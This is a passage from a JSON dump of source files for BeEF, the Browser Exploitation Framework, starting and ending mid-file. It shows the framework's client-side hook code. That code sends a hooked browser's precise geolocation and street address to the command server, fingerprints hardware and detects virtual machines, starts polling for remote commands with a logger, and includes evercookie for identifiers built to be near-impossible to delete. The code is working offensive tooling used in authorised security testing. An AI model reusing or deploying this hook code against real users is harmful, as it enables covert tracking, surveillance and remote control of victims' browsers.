Date)\n            {\n                var month = o.getUTCMonth() + 1;\n                if (month < 10) month = '0' + month;\n\n                var day = o.getUTCDate();\n                if (day < 10) day = '0' + day;\n\n                var year = o.getUTCFullYear();\n                \n                var hours = o.getUTCHours();\n                if (hours < 10) hours = '0' + hours;\n                \n                var minutes = o.getUTCMinutes();\n                if (minutes < 10) minutes = '0' + minutes;\n                \n                var seconds = o.getUTCSeconds();\n                if (seconds < 10) seconds = '0' + seconds;\n                \n                var milli = o.getUTCMilliseconds();\n                if (milli < 100) milli = '0' + milli;\n                if (milli < 10) milli = '0' + milli;\n\n                return '\"' + year + '-' + month + '-' + day + 'T' +\n                             hours + ':' + minutes + ':' + seconds + \n                             '.' + milli + 'Z\"'; \n            }\n\n            if (o.constructor === Array) \n            {\n                var ret = [];\n                for (var i = 0; i < o.length; i++)\n                    ret.push( $j.toJSON(o[i]) || \"null\" );\n\n                return \"[\" + ret.join(\",\") + \"]\";\n            }\n        \n            var pairs = [];\n            for (var k in o) {\n                var name;\n                var type = typeof k;\n\n                if (type == \"number\")\n                    name = '\"' + k + '\"';\n                else if (type == \"string\")\n                    name = $j.quoteString(k);\n                else\n                    continue;  //skip non-string or number keys\n            \n                if (typeof o[k] == \"function\") \n                    continue;  //skip pairs where the value is a function.\n            \n                var val = $j.toJSON(o[k]);\n            \n                pairs.push(name + \":\" + val);\n            }\n\n            return \"{\" + pairs.join(\", \") + \"}\";\n        }\n    },\n    /**\n     * @memberof beef.encode.json\n     * @param string \n     */\n    quoteString: function(string) {\n        if (string.match(this._escapeable))\n        {\n            return '\"' + string.replace(this._escapeable, function (a) \n            {\n                var c = this._meta[a];\n                if (typeof c === 'string') return c;\n                c = a.charCodeAt();\n                return '\\\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);\n            }) + '\"';\n        }\n        return '\"' + string + '\"';\n    },\n    \n    _escapeable: /[\"\\\\\\x00-\\x1f\\x7f-\\x9f]/g,\n    \n    _meta : {\n        '\\b': '\\\\b',\n        '\\t': '\\\\t',\n        '\\n': '\\\\n',\n        '\\f': '\\\\f',\n        '\\r': '\\\\r',\n        '\"' : '\\\\\"',\n        '\\\\': '\\\\\\\\'\n    }\n};\n\n$j.toJSON = function(o) {return beef.encode.json.stringify(o);};\n$j.quoteString = function(o) {return beef.encode.json.quoteString(o);};\n\nbeef.regCmp('beef.encode.json');\n"
  },
  {
    "path": "core/main/client/geolocation.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides functionalities to use the geolocation API.\n * @namespace beef.geolocation\n */\n\nbeef.geolocation = {\n\n    /**\n     * Check if browser supports the geolocation API\n     * @return {boolean}\n     */\n    isGeolocationEnabled: function(){\n\t\treturn !!navigator.geolocation;\n    },\n\n    /** \n     * Given latitude/longitude retrieves exact street position of the zombie\n     * @param command_url\n     * @param command_id\n     * @param latitude\n     * @param longitude\n     */\n    getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){\n\n        // fixes damned issues with jquery 1.5, like this one:\n        // http://bugs.jquery.com/ticket/8084\n        $j.ajaxSetup({\n            jsonp: null,\n            jsonpCallback: null\n        });\n\n        $j.ajax({\n            error: function(xhr, status, error){\n                beef.debug(\"[geolocation.js] openstreetmap error\");\n                beef.net.send(command_url, command_id, \"latitude=\" + latitude\n                             + \"&longitude=\" + longitude\n                             + \"&osm=UNAVAILABLE\"\n                             + \"&geoLocEnabled=True\");\n                },\n            success: function(data, status, xhr){\n                beef.debug(\"[geolocation.js] openstreetmap success\");\n                //var jsonResp = $j.parseJSON(data);\n\n                beef.net.send(command_url, command_id, \"latitude=\" + latitude\n                             + \"&longitude=\" + longitude\n//                             + \"&osm=\" + encodeURI(jsonResp.display_name)\n                              + \"&osm=\" + data.display_name\n                             + \"&geoLocEnabled=True\");\n                },\n            type: \"get\",\n\t    dataType: \"json\",\n            url: \"https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=\" +\n                latitude + \"&lon=\" + longitude + \"&zoom=18&addressdetails=1\"\n        });\n\n    },\n\n    /**\n     * Retrieve latitude/longitude using the geolocation API\n     * @param command_url\n     * @param command_id\n     */\n    getGeolocation: function (command_url, command_id){\n\n        if (!navigator.geolocation) {\n\t        beef.net.send(command_url, command_id, \"latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False\");\t\n\t\t\treturn;\n\t\t}\n        beef.debug(\"[geolocation.js] navigator.geolocation.getCurrentPosition\");\n        navigator.geolocation.getCurrentPosition( //note: this is an async call\n\t\t\tfunction(position){ // success\n\t\t\t\tvar latitude = position.coords.latitude;\n        \t\tvar longitude = position.coords.longitude;\n                beef.debug(\"[geolocation.js] success getting position. latitude [%d], longitude [%d]\", latitude, longitude);\n                beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);\n\n\t\t\t}, function(error){ // failure\n                    beef.debug(\"[geolocation.js] error [%d] getting position\", error.code);\n\t\t\t\t\tswitch(error.code) // Returns 0-3\n\t\t\t\t\t{\n\t\t\t\t\t\tcase 0:\n\t\t\t            \tbeef.net.send(command_url, command_id, \"latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False\");\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\tcase 1:\n\t\t            \t\tbeef.net.send(command_url, command_id, \"latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False\");\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\tcase 2:\n\t\t            \t\tbeef.net.send(command_url, command_id, \"latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False\");\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\tcase 3:\n\t\t\t\t\t   \t\tbeef.net.send(command_url, command_id, \"latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False\");\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n            \tbeef.net.send(command_url, command_id, \"latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False\");\n\t\t\t},\n\t\t\t{enableHighAccuracy:true, maximumAge:30000, timeout:27000}\n\t\t);\n    }\n}\n\n\nbeef.regCmp('beef.geolocation');\n"
  },
  {
    "path": "core/main/client/hardware.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * @namespace beef.hardware\n */\n\nbeef.hardware = {\n\n  ua: navigator.userAgent,\n\n  /**\n   * @return {String} CPU type\n   */\n  getCpuArch: function() {\n    var arch = 'UNKNOWN';\n    // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested\n    // in detecting the OS arch rather than the browser build\n    if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == \"win64\"){\n      arch = 'x86_64';\n    }else if(typeof navigator.cpuClass != 'undefined'){\n      switch (navigator.cpuClass) {\n        case '68K':\n          arch = 'Motorola 68K';\n          break;\n        case 'PPC':\n          arch = 'Motorola PPC';\n          break;\n        case 'Digital':\n          arch = 'Alpha';\n          break;\n        default:\n          arch = 'x86';\n      }\n    }\n    // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).\n    // For example, if OSX is at least 10.7, most certainly is 64 bit.\n    return arch;\n  },\n\n  /**\n   * Returns number of CPU cores\n   * @return {String}\n   */\n  getCpuCores: function() {\n    var cores = 'unknown';\n    try {\n      if(typeof navigator.hardwareConcurrency != 'undefined') {\n        cores = navigator.hardwareConcurrency;\n      }\n    } catch(e) {\n      cores = 'unknown';\n    }\n    return cores;\n  },\n\n  /**\n   * Returns CPU details\n   * @return {String}\n   */\n  getCpuDetails: function() {\n    return {\n      arch: beef.hardware.getCpuArch(),\n      cores: beef.hardware.getCpuCores()\n    }\n  },\n\n  /**\n   * Returns GPU details\n   * @return {object}\n   */\n  getGpuDetails: function() {\n    var gpu = 'unknown';\n    var vendor = 'unknown';\n    // use canvas technique:\n    // https://github.com/Valve/fingerprintjs2\n    // http://codeflow.org/entries/2016/feb/10/webgl_debug_renderer_info-extension-survey-results/\n    try {\n      var getWebglCanvas = function () {\n        var canvas = document.createElement('canvas')\n        var gl = null\n        try {\n          gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl')\n        } catch (e) { }\n        if (!gl) { gl = null }\n        return gl;\n      }\n\n      var glContext = getWebglCanvas();\n      var extensionDebugRendererInfo = glContext.getExtension('WEBGL_debug_renderer_info');\n      var gpu = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_RENDERER_WEBGL);\n      var vendor = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_VENDOR_WEBGL);\n      beef.debug(\"GPU: \" + gpu + \" - Vendor: \" + vendor);\n    } catch (e) {\n      beef.debug('Failed to detect WebGL renderer: ' + e.toString());\n    }\n    return {\n      gpu: gpu,\n      vendor: vendor\n    }\n  },\n\n  /**\n   * Returns RAM (GiB)\n   * @return {String}\n   */\n  getMemory: function() {\n    var memory = 'unknown';\n    try {\n      if(typeof navigator.deviceMemory != 'undefined') {\n        memory = navigator.deviceMemory;\n      }\n    } catch(e) {\n      memory = 'unknown';\n    }\n    return memory;\n  },\n\n  /**\n   * Returns battery details\n   * @return {Object}\n   */\n  getBatteryDetails: function() {\n    var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;\n\n    if (!!battery) {\n      return {\n        chargingStatus: battery.charging,\n        batteryLevel: battery.level * 100 + \"%\",\n        chargingTime: battery.chargingTime,\n        dischargingTime: battery.dischargingTime\n      }\n    } else {\n      return {\n        chargingStatus: 'unknown',\n        batteryLevel: 'unknown',\n        chargingTime: 'unknown',\n        dischargingTime: 'unknown'\n      }\n    }\n  },\n\n  /**\n   * Returns zombie screen size and color depth.\n   * @return {Object}\n   */\n  getScreenSize: function () {\n    return {\n      width: window.screen.width,\n      height: window.screen.height,\n      colordepth: window.screen.colorDepth\n    }\n  },\n\n  /**\n   * Is touch enabled?\n   * @return {Boolean} true or false.\n   */\n  isTouchEnabled: function() {\n    if ('ontouchstart' in document) return true;\n    return false;\n  },\n\n  /**\n   * Is virtual machine?\n   * @return {Boolean} true or false.\n   */\n  isVirtualMachine: function() {\n    if (this.getGpuDetails().vendor.match('VMware, Inc'))\n      return true;\n\n    if (this.isMobileDevice())\n      return false;\n\n    // if the screen resolution is uneven, and it's not a known mobile device\n    // then it's probably a VM\n    if (screen.width % 2 || screen.height % 2)\n      return true;\n\n    return false;\n  },\n\n  /**\n   * Is a Laptop?\n   * @return {Boolean} true or false.\n   */\n  isLaptop: function() {\n    if (this.isMobileDevice()) return false;\n    // Most common laptop screen resolution\n    if (screen.width == 1366 && screen.height == 768) return true;\n    // Netbooks\n    if (screen.width == 1024 && screen.height == 600) return true;\n    return false;\n  },\n\n  /**\n   * Is Nokia?\n   * @return {Boolean} true or false.\n   */\n  isNokia: function() {\n    return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;\n  },\n\n  /**\n   * Is Zune?\n   * @return {Boolean} true or false.\n   */\n  isZune: function() {\n    return (this.ua.match('ZuneWP7')) ? true : false;\n  },\n\n  /**\n   * Is HTC?\n   * @return {Boolean} true or false.\n   */\n  isHtc: function() {\n    return (this.ua.match('HTC')) ? true : false;\n  },\n\n  /**\n   * Is Ericsson?\n   * @return {Boolean} true or false.\n   */\n  isEricsson: function() {\n    return (this.ua.match('Ericsson')) ? true : false;\n  },\n\n  /**\n   * Is Motorola?\n   * @return {Boolean} true or false.\n   */\n  isMotorola: function() {\n    return (this.ua.match('Motorola')) ? true : false;\n  },\n\n  /**\n   * Is Google?\n   * @return {Boolean} true or false.\n   */\n  isGoogle: function() {\n    return (this.ua.match('Nexus One')) ? true : false;\n  },\n\n  /**\n   * Returns true if the browser is on a Mobile device\n   * @return {Boolean} true or false\n   *\n   * @example: if(beef.hardware.isMobileDevice()) { ... }\n   */\n  isMobileDevice: function() {\n    return MobileEsp.DetectMobileQuick();\n  },\n\n  /**\n   * Returns true if the browser is on a game console\n   * @return {Boolean} true or false\n   *\n   * @example: if(beef.hardware.isGameConsole()) { ... }\n   */\n  isGameConsole: function() {\n    return MobileEsp.DetectGameConsole();\n  },\n\n  getName: function() {\n    var ua = navigator.userAgent.toLowerCase();\n    if(MobileEsp.DetectIphone())              { return \"iPhone\"};\n    if(MobileEsp.DetectIpod())                { return \"iPod Touch\"};\n    if(MobileEsp.DetectIpad())                { return \"iPad\"};\n    if (this.isHtc())               { return 'HTC'};\n    if (this.isMotorola())          { return 'Motorola'};\n    if (this.isZune())              { return 'Zune'};\n    if (this.isGoogle())            { return 'Google Nexus One'};\n    if (this.isEricsson())          { return 'Ericsson'};\n    if(MobileEsp.DetectAndroidPhone())        { return \"Android Phone\"};\n    if(MobileEsp.DetectAndroidTablet())       { return \"Android Tablet\"};\n    if(MobileEsp.DetectS60OssBrowser())       { return \"Nokia S60 Open Source\"};\n    if(ua.search(MobileEsp.deviceS60) > -1)   { return \"Nokia S60\"};\n    if(ua.search(MobileEsp.deviceS70) > -1)   { return \"Nokia S70\"};\n    if(ua.search(MobileEsp.deviceS80) > -1)   { return \"Nokia S80\"};\n    if(ua.search(MobileEsp.deviceS90) > -1)   { return \"Nokia S90\"};\n    if(ua.search(MobileEsp.deviceSymbian) > -1)   { return \"Nokia Symbian\"};\n    if (this.isNokia())             { return 'Nokia'};\n    if(MobileEsp.DetectWindowsPhone7())       { return \"Windows Phone 7\"};\n    if(MobileEsp.DetectWindowsPhone8())       { return \"Windows Phone 8\"};\n    if(MobileEsp.DetectWindowsPhone10())      { return \"Windows Phone 10\"};\n    if(MobileEsp.DetectWindowsMobile())       { return \"Windows Mobile\"};\n    if(MobileEsp.DetectBlackBerryTablet())    { return \"BlackBerry Tablet\"};\n    if(MobileEsp.DetectBlackBerryWebKit())    { return \"BlackBerry OS 6\"};\n    if(MobileEsp.DetectBlackBerryTouch())     { return \"BlackBerry Touch\"};\n    if(MobileEsp.DetectBlackBerryHigh())      { return \"BlackBerry OS 5\"};\n    if(MobileEsp.DetectBlackBerry())          { return \"BlackBerry\"};\n    if(MobileEsp.DetectPalmOS())              { return \"Palm OS\"};\n    if(MobileEsp.DetectPalmWebOS())           { return \"Palm Web OS\"};\n    if(MobileEsp.DetectGarminNuvifone())      { return \"Gamin Nuvifone\"};\n    if(MobileEsp.DetectArchos())              { return \"Archos\"}\n    if(MobileEsp.DetectBrewDevice())          { return \"Brew\"};\n    if(MobileEsp.DetectDangerHiptop())        { return \"Danger Hiptop\"};\n    if(MobileEsp.DetectMaemoTablet())         { return \"Maemo Tablet\"};\n    if(MobileEsp.DetectSonyMylo())            { return \"Sony Mylo\"};\n    if(MobileEsp.DetectAmazonSilk())          { return \"Kindle Fire\"};\n    if(MobileEsp.DetectKindle())              { return \"Kindle\"};\n    if(MobileEsp.DetectSonyPlaystation())                 { return \"Playstation\"};\n    if(ua.search(MobileEsp.deviceNintendoDs) > -1)        { return \"Nintendo DS\"};\n    if(ua.search(MobileEsp.deviceWii) > -1)               { return \"Nintendo Wii\"};\n    if(ua.search(MobileEsp.deviceNintendo) > -1)          { return \"Nintendo\"};\n    if(MobileEsp.DetectXbox())                            { return \"Xbox\"};\n    if(this.isLaptop())                         { return \"Laptop\"};\n    if(this.isVirtualMachine())                 { return \"Virtual Machine\"};\n\n    return 'Unknown';\n  }\n};\n\nbeef.regCmp('beef.hardware');\n"
  },
  {
    "path": "core/main/client/init.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Contains the beef_init() method which starts the BeEF client-side\n * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.\n *\n * If beef.pageIsLoaded is true, then this JS has been loaded >1 times\n * and will have a new session id. The new session id will need to know\n * the brwoser details. So sendback the browser details again.\n * \n * @namespace beef.init\n */\n\nbeef.session.get_hook_session_id();\n\nif (beef.pageIsLoaded) {\n    beef.net.browser_details();\n}\n/**\n * @memberof beef.init\n */\nwindow.onload = function () {\n    beef_init();\n};\n/**\n * @memberof beef.init\n */\nwindow.onpopstate = function (event) {\n    if (beef.onpopstate.length > 0) {\n        event.preventDefault;\n        for (var i = 0; i < beef.onpopstate.length; i++) {\n            var callback = beef.onpopstate[i];\n            try {\n                callback(event);\n            } catch (e) {\n                beef.debug(\"window.onpopstate - couldn't execute callback: \" + e.message);\n            }\n            return false;\n        }\n    }\n};\n/**\n * @memberof beef.init\n */\nwindow.onclose = function (event) {\n    if (beef.onclose.length > 0) {\n        event.preventDefault;\n        for (var i = 0; i < beef.onclose.length; i++) {\n            var callback = beef.onclose[i];\n            try {\n                callback(event);\n            } catch (e) {\n                beef.debug(\"window.onclose - couldn't execute callback: \" + e.message);\n            }\n            return false;\n        }\n    }\n};\n\n/**\n * Starts the polling mechanism, and initialize various components:\n *  - browser details (see browser.js) are sent back to the \"/init\" handler\n *  - the polling starts (checks for new commands, and execute them)\n *  - the logger component is initialized (see logger.js)\n *  - the Autorun Engine is initialized (see are.js)\n * @memberof beef.init\n */\nfunction beef_init() {\n    if (!beef.pageIsLoaded) {\n        beef.pageIsLoaded = true;\n        beef.net.browser_details();\n\n        if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {\n            setTimeout(function(){\n                beef.websocket.start();\n                beef.updater.execute_commands();\n                beef.logger.start();\n            }, parseInt(beef.websocket.ws_connect_timeout));\n        }else {\n            beef.net.browser_details();\n            beef.updater.execute_commands();\n            beef.updater.check();\n            beef.logger.start();\n        }\n    }\n}\n"
  },
  {
    "path": "core/main/client/lib/evercookie.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*\n * evercookie 0.4 (10/13/2010) -- extremely persistent cookies\n *\n *  by samy kamkar : code@samy.pl : http://samy.pl\n *\n * this api attempts to produce several types of persistent data\n * to essentially make a cookie virtually irrevocable from a system\n *\n * specifically it uses:\n *  - standard http cookies\n *  - flash cookies (local shared objects)\n *  - silverlight isolated storage\n *  - png generation w/forced cache and html5 canvas pixel reading\n *  - http etags\n *  - http cache\n *  - window.name\n *  - IE userData\n *  - html5 session cookies\n *  - html5 local storage\n *  - html5 global storage\n *  - html5 database storage via sqlite\n *  - css history scanning\n *\n *  if any cookie is found, it's then reset to all the other locations\n *  for example, if someone deletes all but one type of cookie, once\n *  that cookie is re-discovered, all of the other cookie types get reset\n *\n *  !!! SOME OF THESE ARE CROSS-ORIGIN COOKIES, THIS MEANS\n *  OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!\n *\n * USAGE:\n\n\tvar ec = new evercookie();\t\n\t\n\t// set a cookie \"id\" to \"12345\"\n\t// usage: ec.set(key, value)\n\tec.set(\"id\", \"12345\");\n\t\n\t// retrieve a cookie called \"id\" (simply)\n\tec.get(\"id\", function(value) { alert(\"Cookie value is \" + value) });\n\n\t// or use a more advanced callback function for getting our cookie\n    // the cookie value is the first param\n    // an object containing the different storage methods\n\t// and returned cookie values is the second parameter\n    function getCookie(best_candidate, all_candidates)\n    {\n        alert(\"The retrieved cookie is: \" + best_candidate + \"\\n\" +\n        \t\"You can see what each storage mechanism returned \" +\n\t\t\t\"by looping through the all_candidates object.\");\n\n\t\tfor (var item in all_candidates)\n\t\t\tdocument.write(\"Storage mechanism \" + item +\n\t\t\t\t\" returned \" + all_candidates[item] + \" votes<br>\");\n    }\n    ec.get(\"id\", getCookie);\n\n\t// we look for \"candidates\" based off the number of \"cookies\" that\n\t// come back matching since it's possible for mismatching cookies.\n\t// the best candidate is very-very-likely the correct one\n\t\n*/\n\n/* to turn off CSS history knocking, set _ec_history to 0 */\nvar _ec_history = 1; // CSS history knocking or not .. can be network intensive\nvar _ec_tests = 10;//1000;\nvar _ec_debug = 0;\n\nfunction _ec_dump(arr, level)\n{\n\tvar dumped_text = \"\";\n\tif(!level) level = 0;\n\t\n\t//The padding given at the beginning of the line.\n\tvar level_padding = \"\";\n\tfor(var j=0;j<level+1;j++) level_padding += \"    \";\n\t\n\tif(typeof(arr) == 'object') { //Array/Hashes/Objects \n\t\tfor(var item in arr) {\n\t\t\tvar value = arr[item];\n\t\t\t\n\t\t\tif(typeof(value) == 'object') { //If it is an array,\n\t\t\t\tdumped_text += level_padding + \"'\" + item + \"' ...\\n\";\n\t\t\t\tdumped_text += _ec_dump(value,level+1);\n\t\t\t} else {\n\t\t\t\tdumped_text += level_padding + \"'\" + item + \"' => \\\"\" + value + \"\\\"\\n\";\n\t\t\t}\n\t\t}\n\t} else { //Stings/Chars/Numbers etc.\n\t\tdumped_text = \"===>\"+arr+\"<===(\"+typeof(arr)+\")\";\n\t}\n\treturn dumped_text;\n}\n\nfunction _ec_replace(str, key, value)\n{\n\tif (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)\n\t{\n\t\t// find start\n\t\tvar idx = str.indexOf('&' + key + '=');\n\t\tif (idx == -1)\n\t\t\tidx = str.indexOf(key + '=');\n\n\t\t// find end\n\t\tvar end = str.indexOf('&', idx + 1);\n\t\tvar newstr;\n\t\tif (end != -1)\n\t\t\tnewstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;\n\t\telse\n\t\t\tnewstr = str.substr(0, idx) + '&' + key + '=' + value;\n\n\t\treturn newstr;\n\t}\n\telse\n\t\treturn str + '&' + key + '=' + value;\n}\n\n\n// necessary for flash to communicate with js...\n// please implement a better way\nvar _global_lso;\nfunction _evercookie_flash_var(cookie)\n{\n\t_global_lso = cookie;\n\n\t// remove the flash object now\n\tvar swf = $('#myswf');\n\tif (swf && swf.parentNode)\n\t\tswf.parentNode.removeChild(swf);\n}\n\nvar evercookie = (function () {\nthis._class = function() {\n\nvar self = this;\n// private property\n_baseKeyStr = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\";\nthis._ec = {};\nvar no_color = -1;\n\nthis.get = function(name, cb, dont_reset)\n{\n\t$(document).ready(function() {\n\t\tself._evercookie(name, cb, undefined, undefined, dont_reset);\n\t});\n};\n\nthis.set = function(name, value)\n{\n\t$(document).ready(function() {\n\t\t\tself._evercookie(name, function() { }, value);\n\t});\n};\n\nthis._evercookie = function(name, cb, value, i, dont_reset)\n{\n\tif (typeof self._evercookie == 'undefined')\n\t\tself = this;\n\t\n\tif (typeof i == 'undefined')\n\t\ti = 0;\n\n\t// first run\n\tif (i == 0)\n\t{\n\t\tself.evercookie_database_storage(name, value);\n\t\tself.evercookie_png(name, value);\n\t\tself.evercookie_etag(name, value);\n\t\tself.evercookie_cache(name, value);\n\t\tself.evercookie_lso(name, value);\n\t\tself.evercookie_silverlight(name, value);\n\n\t\tself._ec.userData\t\t= self.evercookie_userdata(name, value);\n\t\tself._ec.cookieData\t\t= self.evercookie_cookie(name, value);\n\t\tself._ec.localData\t\t= self.evercookie_local_storage(name, value);\n\t\tself._ec.globalData\t\t= self.evercookie_global_storage(name, value);\n\t\tself._ec.sessionData\t= self.evercookie_session_storage(name, value);\n\t\tself._ec.windowData\t\t= self.evercookie_window(name, value);\n\t\n\t\tif (_ec_history)\n\t\t\tself._ec.historyData = self.evercookie_history(name, value);\n\t}\n\n\t// when writing data, we need to make sure lso and silverlight object is there\n\tif (typeof value != 'undefined')\n\t{\n\t\tif (\n            (\n                (typeof _global_lso == 'undefined') ||\n                (typeof _global_isolated == 'undefined')\n            )\n            && i++ < _ec_tests\n        )\n\t\t\tsetTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);\n\t}\n\t\n\t// when reading data, we need to wait for swf, db, silverlight and png\n\telse\n\t{\n\t\tif (\n\t\t\t(\n\t\t\t\t// we support local db and haven't read data in yet\n\t\t\t\t(window.openDatabase && typeof self._ec.dbData == 'undefined') ||\n\t\t\t\t(typeof _global_lso == 'undefined') ||\n\t\t\t\t(typeof self._ec.etagData == 'undefined') ||\n\t\t\t\t(typeof self._ec.cacheData == 'undefined') ||\n\t\t\t\t(document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||\n                (typeof _global_isolated == 'undefined')\n\t\t\t)\n\t\t\t&&\n\t\t\ti++ < _ec_tests\n\t\t)\n\t\t{\n\t\t\tsetTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);\n\t\t}\n\n\t\t// we hit our max wait time or got all our data\n\t\telse\n\t\t{\n\t\t\t// get just the piece of data we need from swf\n\t\t\tself._ec.lsoData = self.getFromStr(name, _global_lso);\n\t\t\t_global_lso = undefined;\n            \n\t\t\t// get just the piece of data we need from silverlight\n\t\t\tself._ec.slData = self.getFromStr(name, _global_isolated);\n\t\t\t_global_isolated = undefined;\n\n\t\t\tvar tmpec = self._ec;\n\t\t\tself._ec = {};\n\t\t\t\n\t\t\t// figure out which is the best candidate\n\t\t\tvar candidates = new Array();\n\t\t\tvar bestnum = 0;\n\t\t\tvar candidate;\n\t\t\tfor (var item in tmpec)\n\t\t\t{\n\t\t\t\tif (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&\n\t\t\t\t  tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)\n\t\t\t\t{\n\t\t\t\t\t\tcandidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tfor (var item in candidates)\n\t\t\t{\n\t\t\t\tif (candidates[item] > bestnum)\n\t\t\t\t{\n\t\t\t\t\tbestnum = candidates[item];\n\t\t\t\t\tcandidate = item;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// reset cookie everywhere\n\t\t\tif (typeof dont_reset == \"undefined\" || dont_reset != 1)\n\t\t\t\tself.set(name, candidate);\n\n\t\t\tif (typeof cb == 'function')\n\t\t\t\tcb(candidate, tmpec);\n\t\t}\n\t}\n};\n\nthis.evercookie_window = function(name, value)\n{\n\ttry {\n\t\tif (typeof(value) != \"undefined\")\n\t\t\twindow.name = _ec_replace(window.name, name, value);\n\t\telse\n\t\t\treturn this.getFromStr(name, window.name);\n\t} catch(e) { }\n};\n\nthis.evercookie_userdata = function(name, value)\n{\n\ttry {\n\t\tvar elm = this.createElem('div', 'userdata_el', 1);\n\t\telm.style.behavior = \"url(#default#userData)\";\n\n\t\tif (typeof(value) != \"undefined\")\n\t\t{\n\t\t\telm.setAttribute(name, value);\n\t\t\telm.save(name);\n\t\t}\n\t\telse\n\t\t{\n\t\t\telm.load(name);\n\t\t\treturn elm.getAttribute(name);\n\t\t}\n\t} catch(e) { }\n};\n\nthis.evercookie_cache = function(name, value)\n{\n\tif (typeof(value) != \"undefined\")\n\t{\n\t\t// make sure we have evercookie session defined first\n\t\tdocument.cookie = 'evercookie_cache=' + value;\n\t\t\n\t\t// evercookie_cache.php handles caching\n\t\tvar img = new Image();\n\t\timg.style.visibility = 'hidden';\n\t\timg.style.position = 'absolute';\n\t\timg.src = 'evercookie_cache.php?name=' + name;\n\t}\n\telse\n\t{\n\t\t// interestingly enough, we want to erase our evercookie\n\t\t// http cookie so the php will force a cached response\n\t\tvar origvalue = this.getFromStr('evercookie_cache', document.cookie);\n\t\tself._ec.cacheData = undefined;\n\t\tdocument.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';\n\n\t\t$.ajax({\n\t\t\turl: 'evercookie_cache.php?name=' + name,\n\t\t\tsuccess: function(data) {\n\t\t\t\t// put our cookie back\n\t\t\t\tdocument.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';\n\n\t\t\t\tself._ec.cacheData = data;\n\t\t\t}\n\t\t});\n\t}\n};\n\nthis.evercookie_etag = function(name, value)\n{\n\tif (typeof(value) != \"undefined\")\n\t{\n\t\t// make sure we have evercookie session defined first\n\t\tdocument.cookie = 'evercookie_etag=' + value;\n\t\t\n\t\t// evercookie_etag.php handles etagging\n\t\tvar img = new Image();\n\t\timg.style.visibility = 'hidden';\n\t\timg.style.position = 'absolute';\n\t\timg.src = 'evercookie_etag.php?name=' + name;\n\t}\n\telse\n\t{\n\t\t// interestingly enough, we want to erase our evercookie\n\t\t// http cookie so the php will force a cached response\n\t\tvar origvalue = this.getFromStr('evercookie_etag', document.cookie);\n\t\tself._ec.etagData = undefined;\n\t\tdocument.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';\n\n\t\t$.ajax({\n\t\t\turl: 'evercookie_etag.php?name=' + name,\n\t\t\tsuccess: function(data) {\n\t\t\t\t// put our cookie back\n\t\t\t\tdocument.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';\n\n\t\t\t\tself._ec.etagData = data;\n\t\t\t}\n\t\t});\n\t}\n};\n\nthis.evercookie_lso = function(name, value)\n{\n    var div = document.getElementById('swfcontainer');\n\tif (!div)\n\t{\n\t\tdiv = document.createElement(\"div\");\n\t\tdiv.setAttribute('id', 'swfcontainer');\n\t\tdocument.body.appendChild(div);\n\t}\n\n\tvar flashvars = {};\n\tif (typeof value != 'undefined')\n\t\tflashvars.everdata = name + '=' + value;\n\n\tvar params           = {};\n\tparams.swliveconnect = 